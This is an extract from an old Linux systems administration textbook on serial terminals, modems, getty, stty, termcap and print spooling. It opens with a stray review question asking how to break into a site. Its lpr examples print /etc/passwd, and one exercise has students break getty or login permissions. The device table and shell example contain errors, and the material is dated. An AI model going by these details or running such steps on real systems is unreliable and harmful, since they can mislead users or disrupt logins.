 The directory /usr/bin has the following file permissions rwxrwxrwx

17.4
Outline the steps you would take to break into a site.

Chapter 18
Terminals, modems and serial lines

This chapter is an unmodified version of a chapter first produced in 1997. Some

or even all of the content may be out of date due to changes in Linux.

Introduction
It's usual for a UNIX computer to have a number of peripherals including modems,
dumb terminals and printers connected to it. A major method by which these
peripherals are connected to a UNIX computer is via serial ports. This chapter will
show you how to connect devices to your UNIX computer's serial ports. It will also
show you how to connect dumb terminals and modems to a UNIX machine.
A good source of information for connecting devices to the serial port of a Linux box
is the Serial-HOWTO. Some of the material in this chapter has been adapted or taken
directly from the Serial-HOWTO.
This chapter is divided into three major sections
 RS-232
Covers the RS-232 standard, serial cables, connectors, DTE and DCE.
 terminals
Discusses the hardware and software side of connecting a terminal.
 modems
Looks at how to connect and configure a modem for dialing in or out.

Hardware
The hardware part of connecting a serial device deals with
 obtaining the correct serial cable and connectors
 choosing the port which to connect the device to your computer

Choosing the port

David Jones, Bruce Jamieson (2/20/25) Page 482

85321, Systems Administration Chapter 18: Terminals, modems and serial lines

There are two steps to choosing a port to which to connect a device

 choosing the physical port, and
 find the right device file.

David Jones, Bruce Jamieson (2/20/25) Page 483

85321, Systems Administration Chapter 18: Terminals, modems and serial lines

Hardware ports

A typical UNIX computer is likely to have many different serial ports. A PC is liable
to have 2, 3 or 4 serial ports. It is possible to purchase multi-port serials cards that
supply multiple (4, 20 and more) ports, see Figure 18.1. These are used by
installations that want to have large numbers of modems, terminals or other serial
devices connected to the computer.

Device files

Each physical port on a UNIX machine has a corresponding device file through which
the operating system passes information to the device.

Linux device names

Table 18.1 summarises the more common device files for serial ports on a Linux box.
Most distributions of Linux will also create /dev/modem and /dev/mouse as symbolic
links to the appropriate device file listed in Table 18.1. Some people disagree with this
practice and it may cause problems if you are allowing people to dial into your
machine using a modem.
Device File MS-DOS Equivalent Purpose
/dev/cua0 com1 Used for out-going
/dev/cua1 com2
connections,
/dev/cua2 com3
/dev/cua3 com4 e.g. dialing out on a modem

/dev/ttyS0 com1 Used for in-coming

/dev/ttyS0 com2
connections,
/dev/ttyS0 com3
/dev/ttyS0 com4 dialing in on a modem or a
dumb terminal
Ta b l e 1 8 . 1
Linux device files for serial ports

RS-232

RS-232 is the standard that most serial ports follow. A full blown discussion on the
RS-232 standard is beyond the scope of this text. The following reading can supply
more information on RS-232.

RS-232, RS-422 and V.35 interfaces

David Jones, Bruce Jamieson (2/20/25) Page 484

85321, Systems Administration Chapter 18: Terminals, modems and serial lines

Reading 18.1
http://www.sangoma.com/signal.htm
This is an optional reading. This material will not be examined and is only
included for your interest.

Getting the right cable

Even though serial cables are meant to follow the RS-232 standard there are a number
of differences including
 sex,
Plugs are either female (small holes) or male (small prongs).
 size, and
Serial plugs for example can be either 9 pin, 25 pin or a couple of other
configurations.
 the wires that are connected.
A serial cable can have up to 25 wires connecting the pins at one end of the cable
to the pins at the other end. There are a number of different methods to connect
these pins depending on the type of devices being connected.

Plugs, sex

Plugs are either female, small holes, or male, small pins stick out, in sex.

Figure 18.2
Male and Female connectors

Plugs, size

Serial connectors come in a number of different formats including DB-25, DB-9, DIN-
8, and RJ-45.

Figure
18.3
DB- 25, DB-
9 and RJ-45
connectors

DTE and DCE

How a serial cable is wired is controlled to a certain extent by the type of devices you
are connecting. Most devices are placed into one of two categories
 DTE, data terminal equipment
Most terminals, computers and printers fall into this category.

David Jones, Bruce Jamieson (2/20/25) Page 485

85321, Systems Administration Chapter 18: Terminals, modems and serial lines

 DCE, data communications equipment

Modems are generally DCE.

David Jones, Bruce Jamieson (2/20/25) Page 486

 85321, Systems Administration Chapter 18: Terminals, modems and serial lines

Types of cable

The division between DTE and DCE is done on the basis of which signals a device
will expect on particular pins. This means that cables to connect two DTE devices will
be different from a cable used to connect a DTE and a DCE device. Table 18.2 defines
the types of cable to use.
Connection Cable type
DTE to DCE Straight modem cable
DTE to DTE Null modem cable
Ta b l e 1 8 . 2

Null and straight

For the purposes of this subject you do not need to know how to actual wire null and
straight modem cables. Any good data communications book will explain how and
most electrical stores stock these cables.

Cabling schemes

Given the differences in connectors and cables connecting serial devices can quickly
become a complex business. One method for reducing this complexity is the Yost
standard. If you are interested a description of the standard is available on the WWW.

Dumb terminals
UNIX is a multi-user operating system. To make use of this attribute multiple users
must be able to connect to the system at the same time. This implies that there must be
multiple access points. Dumb terminals are one of the cheapest methods for providing
multiple access points to a UNIX machine.
In most cases a dumb terminal is connected to a UNIX machine using a serial line. A
dumb terminal does little more than present text to the user and transfer keystrokes
from the terminal back to the central computer. It is dumb because the terminal does
no processing of the data.
Even though the interface on such beasts is primitive they are still one of the most
used methods for adding extra access points to a UNIX computer.

PCs as dumb terminals

David Jones, Bruce Jamieson (2/20/25) Page 487

85321, Systems Administration Chapter 18: Terminals, modems and serial lines

Businesses wanting to use dumb terminals have two options do not have to purchase
purpose built dumb terminals. A personal computer can act as a dumb terminal by
 connecting the PCs serial port to the UNIX machines serial port, and
 using a communications programs (like Procomm or Terminal) to communicate
with the UNIX machine over the serial line.

David Jones, Bruce Jamieson (2/20/25) Page 488

85321, Systems Administration Chapter 18: Terminals, modems and serial lines

Figure 18.??
Te l e v i d e o D u m b Te r m i n a l

Connecting to a UNIX box

The steps involved in connecting a dumb terminal to a

UNIX box include
 configuring the terminal,
 connecting the terminal,
 starting a getty process, and
 configuring the UNIX terminal software.

Terminal configuration

For a dumb terminal to work correctly it must be configured properly. In the case of
purpose built dumb terminals, configuration will generally be performed by setting dip
switches on the terminal.
In the case of a personal computer and a communications package these settings are
set using the options within the communications program.
Characteristics of a dumb terminal that need to be configured include
 bits per second,
The speed at which information can be transferred. Typical values (for today)
range from 9600 bps up to 38,400 bps.
 parity,
Typically be set off.
 duplex,
This should be set to full and signifies that data can be transferred in both
directions simultaneously.
 auto linefeed,
Should be turned off. The end of a line under UNIX is signified by a newline
character. MS-DOS and other systems use a combination of a newline and a
carriage return character.
 data bits, and
Suggested values are either 7 or 8 with 7 being the preference.
 stop bits.
With 7 data bits use 2 stop bits. With 8 data bits use 1 stop bit.

Problems

If anyone of these settings are set incorrectly the output to the terminal or input from
the terminal will be corrupted.

David Jones, Bruce Jamieson (2/20/25) Page 489

 85321, Systems Administration Chapter 18: Terminals, modems and serial lines

Connecting the terminal

Once the terminal is configured you now need to connect the terminal to the computer.
The steps to do this include
 identifying a free serial port on the computer,
 identifying the device file the corresponds to that port,
 obtaining the correct cable to make the connection, and
 finally making the connection.

Testing the connection

Once terminal is configured, connected and turned on, the next step is to test whether
or not you can actually transmit data through the connection. The simplest method to
do this is to send some information directly to the device file associated with the
terminal.
For example:
ls -l > /dev/tty1
If the connection is correct and working you should see the output appear on the
device.
Be careful when you are choosing device files to send output to. Sending output to
the wrong device file can be disastrous.

Why the connection won't work

There are a number or reasons why a connection may not work including
 incorrect permissions,
For the test to work you must have write permission on the device file. Check the
permissions. Typically you have to be the root user to perform the test. Don't
change the permissions on the device file to world write. This can be a security
hole.
 the wrong device file,
You've picked the wrong device file and the information isn't being sent to the new
device. Perhaps the device file for the port you want to use hasn't been created yet.
 incorrect configuration, and
The hardware configuration on the device is not correct. Don't expect the output
you send to the device to appear picture perfect. Since you are bypassing the
normal mechanism for using the device it may not work 100%.
 incorrect cabling.
Is the device turned on? Are you sure you have the correct type of cable.

David Jones, Bruce Jamieson (2/20/25) Page 490

85321, Systems Administration Chapter 18: Terminals, modems and serial lines

Exercises

Beg, borrow or steal a dumb terminal (another PC with a communications program

will suffice). Perform all the steps listed above for connecting the terminal to
your UNIX machine. Test it, see if you can get output appearing on the screen
of the dumb terminal.

Terminal software

Terminal configuration files is one area in which the diversity of UNIX platforms
rears its ugly head. System V based machines will use different configuration files
than BSD based systems. Early BSD systems use different configuration files again.
For the purposes of this subject we will concentrate on the Linux software.
Terminal configuration files can be divided along the lines of their purpose
 enabling the login process,
 setting line configuration, and
 terminal characteristics.

Enabling the login process

For a terminal to work users must be able to login. For users to login particular
processes have to be executed and be listening on each terminal connection. There are
configuration files that control which device files have the login process enabled.

Line configuration

The operating system has to know about and set the characteristics of the serial line,
such as speed, data bits, parity etc, that the terminal is connected to.

Terminal characteristics

Different terminals have different keyboard layouts, different capabilities (colour etc)
and different special character codes to do things like clear the screen. In order to use
the full capabilities of a particular type of terminal UNIX must know about the
terminal's characteristics. To do this the terminal must have an entry in the database of
terminal characteristics that UNIX maintains.

The login process

David Jones, Bruce Jamieson (2/20/25) Page 491

85321, Systems Administration Chapter 18: Terminals, modems and serial lines

In order for someone to login using a dumb terminal the following steps must happen
 init must start a getty process for the terminal,
 the getty process displays the login prompt, waits for the user to enter a username
and then starts a login process,
 the login process gets a passwords, checks the validity of that password and then
runs the user's login shell if the password is valid,
 once the user is finished the login shell will finish, causing init to restart a getty
process
So in order for the whole process to start init must be configured to start a getty
process.

/etc/motd and /etc/issue

/etc/issue and /etc/motd are text files that contain text messages that are displayed
during the login process. /etc/issue is displayed before the login: prompt by the
getty process. /etc/motd is displayed by the login process just before it runs the
user's login shell.
It is common to use these files to disseminate system information such as when the
next time the machine will be down.

Exercises

Modify the /etc/issue and /etc/motd files of your system.

Dumb terminals versus network connections

You should be aware of the difference between logging in over a dumb terminal and
logging in over a network. A dumb terminal is a special piece of hardware connected
directly into the serial port of a UNIX computer. When you login in over a network,
usually using telnet, you are connecting via that computers network connection.
However this doesn't change the requirement that there must be a getty process
running in order for you to login. The difference between a dumb terminal connection
and a network connection is the daemon that starts the getty process. For a dumb
terminal it is init. For a network connection it might be telnetd or maybe inetd.

Entries in init

Under Linux the init process is controlled by the /etc/inittab configuration file
(the format of /etc/inittab is discussed in a earlier chapter). The inittab file must
have an entry for each terminal that requires a getty process. Typical entries look like

David Jones, Bruce Jamieson (2/20/25) Page 492

 85321, Systems Administration Chapter 18: Terminals, modems and serial lines

c6:23:respawn:/etc/getty 38400 tty6

c7:23:respawn:/etc/getty 38400 ttys1

If you are unsure about the format of inittab entries you should take another look at
Chapter 11.

Linux versions of getty

Linux can come with up to three different getty programs, agetty, getty_ps and
mgetty. By default my system only has agetty so that is the one I'll concentrate on in
this chapter. The other versions can be obtained from the standard Linux ftp sites. All
versions will use basically the same arguments but some may provide some additional
features.
The manual page for agetty provides sufficient information to get it working.

Other configuration files

Other Unices may use a more complex set of configuration files for the login
procedure. The old text book's chapter 10 provides some additional information on
these files. If this doesn't help you should refer to your system's manual pages.

Exercises

Examine the /etc/inittab file for your system. Are there any entries that start
getty processes? For which terminals are they?
Both getty and login are executable programs. In which directory are they?
What would happen if these files were deleted? What would happen if the
execute permission on these files was removed?
Try it and find out. Change the permissions on either getty or login, see
what happens. Log in and then log out, now what happens?
Notice that in the initab file the getty entry has the action respawn. What would
happen if the action was changed to once.

Line configuration
Every terminal connected to a UNIX machine has an associated terminal driver
process. This process maintains
 a list of characteristics about the current terminal, and
 a list of special characters and how they should be handled.

David Jones, Bruce Jamieson (2/20/25) Page 493

 85321, Systems Administration Chapter 18: Terminals, modems and serial lines

A common complaint from users is that when they hit particular keys the terminal
doesn't do what is expected. Hitting the backspace key might produce a weird
character or the cursor keys might not work under vi. These problems maybe caused
by the terminal driver not being configured properly.

Changing the settings

Initially these settings are set up by the system from the entries in the system's
terminal configuration database. The stty command can be used to view and modify
these settings.
Table 18.3 lists some of the terminal characteristics and Table 18.4 lists some of the
special characters. To view the current settings try stty -a (the command might be
stty all or stty everything depending on your system).

For example

The following is the output of the stty command on my Linux box

beldin:~$ stty -a
speed 9600 baud; rows 24; columns 80; line = 0;
intr = ^C; quit = ^\; erase = ^?; kill = ^U; eof = ^D; eol = <undef>;
eol2 = <undef>; start = ^Q; stop = ^S; susp = ^Z; rprnt = ^R; werase = ^W;
lnext = ^V; flush = ^O; min = 1; time = 0;
-parenb -parodd cs8 -hupcl -cstopb cread -clocal -crtscts
-ignbrk brkint ignpar -parmrk -inpck -istrip -inlcr -igncr icrnl ixon -
ixoff
-iuclc -ixany imaxbel
opost -olcuc -ocrnl onlcr -onocr -onlret -ofill -ofdel nl0 cr0 tab0 bs0 vt0
ff0
isig icanon iexten echo echoe echok -echonl -noflsh -xcase -tostop -echoprt
echoctl echoke
Option Meaning
n bits per second
rows n lines to the screen
columns n columns on the screen
oddp odd parity
evenp even parity
-parity no parity
Ta b l e 1 8 . 3
Characteristics affected by stty

Turning on and off

David Jones, Bruce Jamieson (2/20/25) Page 494

85321, Systems Administration Chapter 18: Terminals, modems and serial lines

stty options such as evenp or parity are either turned on or off. If evenp is used
even parity is turned on if -evenp is used then even parity is turned off.

Exercises

One option of the stty command not shown in Table 18.3 is echo
Refer to stty's manual page to find out what it is used for.
Use the stty command to turn echo off, what happens?
Use stty to turn it back on.
Write a shell function get_password that gets the user to enter a password
but doesn't display the password while the user is typing it in

David Jones, Bruce Jamieson (2/20/25) Page 495

 85321, Systems Administration Chapter 18: Terminals, modems and serial lines

Special characters

In these tables you will see character combinations like ^H and ^?. The ^ symbol is
used in this case to signify the control key. So ^H could be rewritten CTRL-H.
A useful option of the stty command is sane. Entering stty sane when the terminal is
behaving strangely will solve many problems.
It is possible to use I/O redirection to affect the settings of terminals other than the one
you are currently using. Which form of I/O redirection (input or output) you use
depends on your system. For BSD redirect the output of stty. For SysV redirect the
input. (This will only work if you have the correct permissions on the device file
associated with the terminal.
Symbolic name SysV default BSD/Linux default Meaning
ERASE # ^H erase one character
of input
WERASE N/A ^W erase one word of
input
KILL @ ^U erase entire line
EOF ^D ^D end of file
INTR ^? ^C interrupt current
process
QUIT ^\\ ^\\ kill current process
with core dump
STOP ^S ^S stop output to the
screen
START ^Q ^Q restart output to
screen
SUSPEND N/A ^Z Suspend current
process
Ta b l e 1 8 . 4
Special characters

Exercises

By default the character CTRL-D is used to indicate the end of a file under Linux. If
you examine the output of stty -a you should see eof = ^D. One way to
create a file is to
beldin:~$ cat > newfile
hello there
^D

David Jones, Bruce Jamieson (2/20/25) Page 496

85321, Systems Administration Chapter 18: Terminals, modems and serial lines

Where you use CTRL-D to finish.

Use the stty command to change the end of file marker so that it is the letter
Z. Try to create a file called newfile using the above method. What happens
when you hit
CTRL-D
Z
Use stty to change the values for rows and columns to 10 and observe the
difference. Try running the stty -a and vi commands.

Terminal characteristics

Different terminals have different keyboard layouts, escape codes and capabilities. For
example one terminal will use one combination of characters to signify clearing the
screen while another terminal will use another combination of characters.
If programs that wish to be able to clear the screen want to work on different terminals
they must be able to find out how each terminal performs the operation. Under the
UNIX operating system programs discover this information using
 the TERM (term if you're using csh) environment variable that specifies the type of
terminal, and
 a system specific terminal database that holds information about a large number of
different terminals.
The shell variable TERM is usually initialised when a user first logs in. It will hold a
unique identifier that signifies the type of terminal being used. This identifier is used
to access the information about the terminal from the system's terminal database.
If the TERM variable is set incorrectly or the terminal does not have an entry in the
terminal database problems likely to occur include
 keys not performing the expected task,
Hitting the backspace key doesn't do anything or displays a weird key
combination.
 screen output not being written properly, or
The screen not scrolling properly, unexpected colours or characters are appearing.
 programs not working properly.
Full screen programs, vi for example, make use of special characteristics offered by
most terminals. If the particular terminal you have doesn't have an entry in the
terminal characteristics file it can't make use of these special characteristics.
It is the responsibility of various startup files (typically /etc/profile) to make sure
that the TERM variable is initialised to the correct value.

For example

David Jones, Bruce Jamieson (2/20/25) Page 497

 85321, Systems Administration Chapter 18: Terminals, modems and serial lines

The following is an example of how the TERM variable might be set.

if [ `tty` = /dev/tty1 ]
then
TERM=vt100
elsif [ `tty` = /dev/tty2 ]
then
TERM=tvi912b
else
TERM=console
fi

On this system the terminal connected to /dev/tty1 is a vt100 so that is the value
TERM is set to. The terminal on /dev/tty2 is a tvi912b and it assumes that any other
type of terminal is a console. The tty command used here returns the device file used
by the current terminal.

Once the TERM variable is set its value is used to access information in the terminal
database. SysV and BSD based systems use different terminal databases.

Exercises

Before doing this exercise find out what the current value of the TERM variable
is. Make up some name for a terminal, e.g. myterm. Set the TERM shell
variable to this value. Attempt to use the vi editor. What happens? Where is
the TERM shell variable set on your system.

Terminal database
There are two basic types of terminal database used by UNIX systems
 termcap,which is from BSD UNIX, and
 terminfo, which is from SysV UNIX.
Linux actually supports both. For this subject we will only examine the termcap
terminal database. If you system uses terminfo (try man terminfo) you can refer to
the old textbook's chapter 10 for some information on terminfo

termcap

/etc/termcap is a text based file used by BSD and Linux as the terminal database. It
contains colon delimited entries for each type of terminal the system recognises. The
following is an example termcap entry.
vt100|dec-vt100|vt100-am|vt100am|dec vt100:\
:do=^J:co#80:li#24:cl=50\E[;H\E[2J:sf=2*\ED:\
:le=^H:bs:am:cm=5\E[%i%d;%dH:nd=2\E[C:up=2\E[A:\
:ce=3\E[K:cd=50\E[J:so=2\E[7m:se=2\E[m:us=2\E[4m:ue=2\E[m:\

David Jones, Bruce Jamieson (2/20/25) Page 498

85321, Systems Administration Chapter 18: Terminals, modems and serial lines

:md=2\E[1m:mr=2\E[7m:mb=2\E[5m:me=2\E[m:is=\E[1;24r\E[24;1H:\
:if=/usr/share/tabset/vt100:\
:rs=\E>\E[?3l\E[?4l\E[?5l\E[?7h\E[?8h:ks=\E[?1h\E=:ke=\E[?1l\E>:\
:ku=\EOA:kd=\EOB:kr=\EOC:kl=\EOD:kb=^H:\
:ho=\E[H:k1=\EOP:k2=\EOQ:k3=\EOR:k4=\EOS:pt:sr=2*\EM:vt#3:xn:\
:sc=\E7:rc=\E8:cs=\E[%i%d;%dr:
The first field of every entry is a list of terminal names (separated by |). These names
are used by the software to recognises a particular terminal. These names are what
appears as the value for the TERM variable and is used by the system to look up an
entry.
The rest of the entry for a terminal consists of various options that describe the way in
which the terminal works. The various options will not be discussed here. They are
described in the manual pages for the system if needed.
It is advisable to put the entries for the most used terminals on your site at the front of
the termcap file to speed searching.

Exercises

Determine the type of terminal you are using and examine the entry for your
terminal that is stored in your system's terminal database files.

Summary
The steps involved in connecting a dumb terminal to a UNIX computer are
 choose a port on the computer,
 obtain the correct cable to connect the terminal to the port,
 configure the terminal,
 connect the terminal and test the connection,
 configure the line settings,
 ensure that the terminal's type is in the terminal database (either /etc/termcap or
terminfo),
 ensure that the TERM shell variable is set correctly,
 start the login process for the port,
On a Linux box this is achieved by adding an entry to the /etc/inittab file

Modems
A dumb terminal is simply a method for someone to connect to your machine, so
communication is one way. With a modem you can either
 dial out, or
Use your modem to connect from your machine to another machine (much like
using a communications program like Procomm on a PC).

David Jones, Bruce Jamieson (2/20/25) Page 499

85321, Systems Administration Chapter 18: Terminals, modems and serial lines

 dial in.
Allow somebody else to connect to your UNIX machine via a telephone line.
In a later chapter on networking you will be introduced to SLIP and PPP. These are
protocols that allow you to use a modem and a phone line as a TCP/IP network
connection.

The process

Setting a modem up includes the following steps

 connect the modem to the computer
 test the connection
 dial out only use a communications program to dial an outside number
 configure the line,
 dial in only initialise the modem
 dial in only start the login process on the modems port

Connecting the modem

With a Linux machine you are likely to have either an external or an internal modem.
With an external modem the procedure for connecting the modem is very similar to
that with a dumb terminal
 identifying a free serial port on the computer,
 identifying the device file the corresponds to that port,
 obtaining the correct cable to make the connection, and
 finally making the connection.
With an internal modem the modem will have to be installed into an appropriate
internal slot. You won't need to connect an internal modem to a serial port because
internal modems have a serial port built-in.

setserial

This following section is taken verbatim from the Linux Serial-Howto

setserial is a program which allows you to look at and change various attributes of
a serial device, including its port address, its interrupt, and other serial port options. It
was initially written Rick Sladkey, and was heavily modified by Ted T'so
[email protected], who also maintains it. The newest version is 2.10, and can be found on
the Linux FTP sites. You can find out what version you have by running setserial
with no arguments.
When your Linux system boots, only ttyS{0-3} are configured, using the default
IRQs of 4 and 3. So, if you have any other serial ports provided by other boards or if
ttyS{0-3} have a non-standard IRQ, you must use this program in order to configure
those serial ports. For the full listing of options, consult the man page.

David Jones, Bruce Jamieson (2/20/25) Page 500

85321, Systems Administration Chapter 18: Terminals, modems and serial lines

Due to a bit of stupidity on IBM's part, you may encounter problems if you want your
internal modem to be on ttyS3. If Linux does not detect your internal modem on
ttyS3, you can use setserial and the modem will work fine. Internal modems on
ttyS{0-2} should not have any problems being detected.

Testing the connection

A simple method for testing the physical connection is to simply redirect some I/O to
your modem's device file. If the connection has worked then the leds on your modem
should flash indicate that information is reaching the modem.
A better method is to use one the available communication programs. The serial-
howto uses kermit however this is not supplied on a standard Linux distribution. But
the basic premise is to start up a communications program, configure the program for
your modem and see if you can dial another computer.

minicom

Most Linux distributions will have the communications program Minicom written by
Miquel van Smoorenburg. To start it you just type minicom. You may have to be
logged in as the root user to use it.
On starting Minicom type the at command (this command is one of the Hayes
commands that are used by most modems, they have nothing to do with UNIX). If an
OK is the response then your minicom is talking with your modem.

If it isn't you may need to change the configuration of minicom to recognise your
modem. To get help on how to do this hit the CTRL-A Z key combination. This means
hold the CTRL key down, hit the A key, release both the CTRL and A keys and hit the Z
key.

Exercises

Connect a modem to your UNIX computer and test to see if it is working.

Configuration

Again the following text is taken from the serial how-to verbatim
For dial out use only, you can configure your modem however you want. If you intend
to use your modem for dialin, you must configure your modem at the same speed that
you intend to run getty at. So, if you want to run getty at 38400 bps, set your speed
to 38400 bps when you configure your modem. This is done to prevent speed
mismatches between your computer and modem.

David Jones, Bruce Jamieson (2/20/25) Page 501

 85321, Systems Administration Chapter 18: Terminals, modems and serial lines

I like to see result codes, so I set Q0 - result codes are reported. To set this on my
modem, I would have to precede the register name with an AT command. Using kermit
or some comm program, connect to your modem and type the following: ATQ0. If your
modem says OK back to you, then the register is set. Do this for each register you want
to set.
I also like to see what I'm typing, so I set E1 - command echo on. If your modem has
data compression capabilities, you probably want to enable them. Consult your
modem manual for more help, and a full listing of options. If your modem supports a
stored profile, be sure to write the configuration to the modem (often done with
AT&W, but varies between modem manufacturers) if not you will have to set the
registers every time you turn on, or reset your modem.

Hardware flow control

If your modem supports hardware flow control (RTS/CTS), I highly recommend you
use it. This is particularly important for modems that support data compression. First,
you have to enable RTS/CTS flow control on the serial port itself. This is best done on
startup, like in /etc/rc.d/rc.local or /etc/rc.d/rc.serial. Make sure that these
files are being run from the main rc.M file! You need to do the following for each
serial port you want to enable hardware flow control on:
stty crtscts < /dev/cuaN

You must also enable RTS/CTS flow control on your modem. Consult your modem
manual on how to do this, as it varies between modem manufacturers. Be sure to save
your modem configuration if your modem supports stored profiles.

Starting the login process

Back to some original text

For a dial-in modem you must start the login process in much the same way as is done
for a dumb terminal. Refer to the previous section on starting the login process for a
dumb terminal, the serial-howto and the manual page for agetty for more
information.

Exercises

Configure your modem for dialing in. In conjunction with a friend test whether or
not someone can login using the modem connection. (To login they will need
an account on your machine)

Conclusions

David Jones, Bruce Jamieson (2/20/25) Page 502

85321, Systems Administration Chapter 18: Terminals, modems and serial lines

Dumb terminals and modems are generally connected to a UNIX machine using serial
ports. RS-232 is the standard for serial connections. Most devices are placed into one
of two categories data terminal equipment (DTE, most terminals, computers and
printers) and data communications equipment (DCE, modems).
Connecting a dumb terminal to a UNIX box includes the following steps
 configuring the terminal,
 connecting the terminal,
 starting a getty process for the terminal,
Under Linux this is done by adding an appropriate entry to the /etc/initab file.
 configuring the line characteristics through software,
Done using the stty command.
 ensuring that the terminal type appears in the terminal database and that the TERM
shell variable is set correctly.
The terminal database might either be /etc/termcap or terminfo depending on
the version of UNIX.
Modems can be used to either dial in or dial out. The process for configuring and
connecting a modem to a UNIX computer is similar to that for a dumb terminal.

David Jones, Bruce Jamieson (2/20/25) Page 503

85321, Systems Administration Chapter 19: Printers

Review Questions

18.1

In what ways can two serial cables differ?

18.2

What type of serial cable would you use to connect

 a modem to a UNIX computer,
 a dumb terminal to a UNIX computer.

18.3

List and explain all the steps in the UNIX login process.

18.4

Explain the purpose of each of the following (as related to connecting terminals and
modems to a UNIX computer)
 the stty command
 termcap and terminfo
 /etc/inittab

18.5

You've just obtained an old terminal. Describe the steps you would have to perform to
connect it to your Linux machine.

18.6

You've connected the terminal from review question 18.5 but when you start using it
you discover that you don't have an entry in your /etc/termcap file for this type of
terminal. What do you do?

Chapter 19
David Jones, Bruce Jamieson (2/20/25) Page 504
85321, Systems Administration Chapter 19: Printers

Printers

This chapter is an unmodified version of a chapter first produced in 1997. Some or

even all of the content may be out of date due to changes in Linux.

Introduction
Printers are a standard peripheral for any computer system. One of the first devices
added to a new system will be a printer. The multi-user, multi-processing nature of the
UNIX operating system means that the UNIX printer software is more complex than
that of a single-user operating system. This makes adding a printer to a UNIX box
more than just plugging it in.
UNIX print software performs a number of tasks including
 enabling safe use of printers by multiple users,
 supporting multiple printers, and
 allowing the use of remote (network based) printers.
This chapter will first examine the hardware issues involved in connecting a printer to
a UNIX machine before moving on to examine the more complex part of the process,
configuring the software.

Hardware
In most situations printers are connected to a UNIX machine using serial connections.
One of the reasons for this is that serial connections allow for two-way
communication which some modern printers use. Many modern systems also provide
parallel ports. Generally speaking connecting a printer to a UNIX system follows the
same generic process used to connect terminals that was outlined in the previous
chapter. Parallel printer cables will not be discussed in this subject.
Common also today are network printers. These are printers with ethernet connections
built-in and are connected directly to the network. When buying network printers
make sure you have the software required for your computers to talk to it.

Choose a port
Typically you will have two choices with printers, either parallel or serial ports
depending on your printer. The details of cabling for serial ports were discussed in the
previous chapter.

Parallel printers on Linux

David Jones, Bruce Jamieson (2/20/25) Page 505

85321, Systems Administration Chapter 19: Printers

Since Linux is generally installed onto IBM PC compatible computers it comes with
support for parallel printers built-in. The devices /dev/lp0 /dev/lp1 /dev/lp2 are
all used for the parallel ports on your Linux box. Each of these devices match a
specific hardware I/O address which means that your first parallel port may not be
/dev/lp0 it may be /dev/lp1.

You can discover which one it is by connecting a parallel printer and trying ls
/dev/lp0 or ls /dev/lp1. Whichever command causes output to be displayed on
your printer is using the right device file.

Test the connection

Some reasons why the connection might not work as expected include
 incorrect cabling
 there is a getty process on the printer port,
Especially on serial ports there might be a getty process running on the port that
will cause the login prompt to appear on the paper. The getty process will have to
be turned off.
 auto line feed
UNIX uses just the line feed character to separate lines. Most printers have a
carriage return/line feed, auto line feed switch that controls what the printer
expects to use. The problem can be fixed by using the stty command, by an
interface program that performs the necessary translation on all output going to the
printer, or by setting the printer dip switch to the appropriate setting.
 incorrect line settings,
For a serial port check the port settings especially baud as it might be set too fast
for the printer. On older printers the printer might not be configured for the ASCII
character set.
 wrong device file or insufficient permissions.
Using the wrong device file or not having the correct permissions on that file can
result in no output to the printer.

Exercises

If possible go through the hardware procedure for connecting a printer to your

UNIX box.

UNIX Print software

The software that drives the UNIX printing process is another area in which the
different UNIX versions differ greatly. Both versions are based on the concept of
spooling (spool stands for Simultaneous Peripheral Operations On-Line).
All UNIX print software has the following components

David Jones, Bruce Jamieson (2/20/25) Page 506

85321, Systems Administration Chapter 19: Printers

 a print spooler,
 spool directories,
 a print daemon,
 administrative commands, and
 filter programs.
For the purposes of this subject we will be concentrating on the Linux print software.

Print spooler
The print spooler is the program users execute when they wish to print something
(usually the commands lpr or lp). The print spooler takes what the user wishes to
print and places it into some pre-defined location, the spool directory. Usually
assigning the print job some unique number.

Spool directories
Each printer on a UNIX system has its own spool directory. Print jobs are copied into
the spool directory before being printed.

Print daemon
The print daemon (usually lpd or lpsched) is responsible for checking the spooling
directory and sending files from the spool directory to the correct printer one job at a
time.
For every printer there will always be a maximum of one print daemon. This ensures
that only one document is being printed on the printer.

Administrative commands
As can be expected there must be administrative commands to perform a number of
tasks including
 changing the priority of print jobs
 deleting print jobs
 enabling and disabling printers.

Filters
Both SysV and BSD print services also support the concept of an interface or filter
program. These programs filter all output sent to a printer and modifies it in some way.
Uses include

David Jones, Bruce Jamieson (2/20/25) Page 507

 85321, Systems Administration Chapter 19: Printers

 adding a banner page to every print job,

Many UNIX systems automatically add a banner page to the front of a print job.
The purpose of the page is to identify the owner of the printer output.
 adding or removing a carriage return character, or
 converting the files to be printed into the format the printer expects (e.g.
Postscript, PCL)

Linux print software

The Linux print system is based on the BSD print system and we will concentrate on
it. The major components of the BSD print system are listed in Table 19.1 An
overview of the system is provided by Diagram 19.1.

Component Purpose
XE "lpc"lpc make administrative changes to the print service
the daemon, a copy is spawned for each queue, transfers information
XE "lpd"lpd
from spooling area to physical device
XE "lpq"lpq view the contents of a print queue
XE "lpr"lpr the user print command, spools information to be printed
XE
"/etc/printcap"/e system's printer information database
tc/printcap
XE "lprm"lprm removes print jobs from queues
Ta b l e 1 9 . 1
BSD/Linux print components

Diagram 19.1
Overview of BSD print system

David Jones, Bruce Jamieson (2/20/25) Page 508

85321, Systems Administration Chapter 19: Printers

Overview
Assuming that the Linux/BSD print system has been configured, started and that a
valid printer has been connected to the system the following is an overview of what
happens when a user wants to print something.
 the lpr command is used
lpr /etc/passwd
 the lpr commands discovers the name of the printer on which to print this file by
one of three methods
1. command line parameters for the lpr command
2. the shell variable PRINTER
3. or the system wide configuration
 lpr reads the /etc/printcap file to find out where the printer's spool directory is,
 lpr creates two files in the spool directory, each filename ends with a unique
identifier for this particular print job (an example identifier A015Aa00781
1. cfid is the control file and contains information like who printed the file, from
which computer, and which file it was
2. dfid is the data file that contains the actual information to print
 lpr notifies lpd that there is a file ready to print
 lpd forks off a child lpd to handle the request
 lpd reads /etc/printcap to see whether or not the destination printer is a local or
remote printer
 for a remote printer the contents of the cf and df files are copied across the
network,
 for a local printer lpd spawns a copy of itself that passes the df file through a filter
program (if there is one) to the printer's device file

The lpr command

As mentioned lpr is the only way in which a user can print a file. Example uses of
lpr include

 lpr /etc/printcap
Print the file /etc/printcap on the systems default printer.
 lpr -Prigel hello
Print the file hello on the printer called rigel.
 cat /etc/passwd | lpr -Pgb
Send the output of the cat command to the printer gb
lpr takes a number of other options including -# which can be used to specify the
number of copies to print.

Configuring the print software

Adding a new printer to a Linux box includes the following steps

David Jones, Bruce Jamieson (2/20/25) Page 509

 85321, Systems Administration Chapter 19: Printers

